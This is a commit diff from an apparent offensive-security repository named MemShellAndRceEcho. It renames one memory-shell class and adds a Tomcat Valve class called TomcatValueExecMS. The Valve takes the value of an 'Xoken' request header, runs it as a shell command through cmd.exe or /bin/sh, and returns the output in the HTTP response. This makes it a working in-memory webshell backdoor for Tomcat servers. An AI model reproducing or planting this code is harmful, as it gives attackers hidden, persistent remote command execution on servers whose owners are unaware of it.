add tomcat ValueExecMS :)

Author: Whoopsunix

MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/ExecutorExecMS.java renamed to MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorExecMS.java

@@ -15,10 +15,10 @@
  *
  * 参考 https://xz.aliyun.com/u/40487
  */
-public class ExecutorExecMS extends ThreadPoolExecutor {
+public class TomcatExecutorExecMS extends ThreadPoolExecutor {
     private static String HEADER = "Xoken";
 
-    public ExecutorExecMS(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue) {
+    public TomcatExecutorExecMS(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue) {
         super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue);
     }
 

MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/valve/TomcatValueExecMS.java

@@ -0,0 +1,86 @@
+package com.demo.memshell.exec.valve;
+
+
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+import org.apache.catalina.valves.ValveBase;
+
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+
+/**
+ * @author Whoopsunix
+ */
+public class TomcatValueExecMS extends ValveBase {
+
+    private static String HEADER = "Xoken";
+
+    public void invoke(Request request, Response response) {
+        try {
+            String header = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{HEADER});
+            String result = exec(header);
+            invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)});
+            Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{});
+            invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result});
+        } catch (Exception e) {
+
+        }
+
+        try {
+            this.getNext().invoke(request, response);
+        } catch (Exception e) {
+
+        }
+    }
+
+    public static String exec(String str) throws Exception {
+        String[] cmd;
+        if (System.getProperty("os.name").toLowerCase().contains("win")) {
+            cmd = new String[]{"cmd.exe", "/c", str};
+        } else {
+            cmd = new String[]{"/bin/sh", "-c", str};
+        }
+        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+        return exec_result(inputStream);
+    }
+
+    public static String exec_result(InputStream inputStream) throws Exception {
+        byte[] bytes = new byte[1024];
+        int len;
+        StringBuilder stringBuilder = new StringBuilder();
+        while ((len = inputStream.read(bytes)) != -1) {
+            stringBuilder.append(new String(bytes, 0, len));
+        }
+        return stringBuilder.toString();
+    }
+
+    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        return field.get(obj);
+    }
+
+    public static Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+        try {
+            field = clazz.getDeclaredField(fieldName);
+            field.setAccessible(true);
+        } catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null)
+                field = getField(clazz.getSuperclass(), fieldName);
+        }
+        return field;
+    }
+
+    public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception {
+        Method method;
+        try {
+            method = obj.getClass().getDeclaredMethod(methodName, argsClass);
+        } catch (NoSuchMethodException e) {
+            method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj, args);
+    }
+}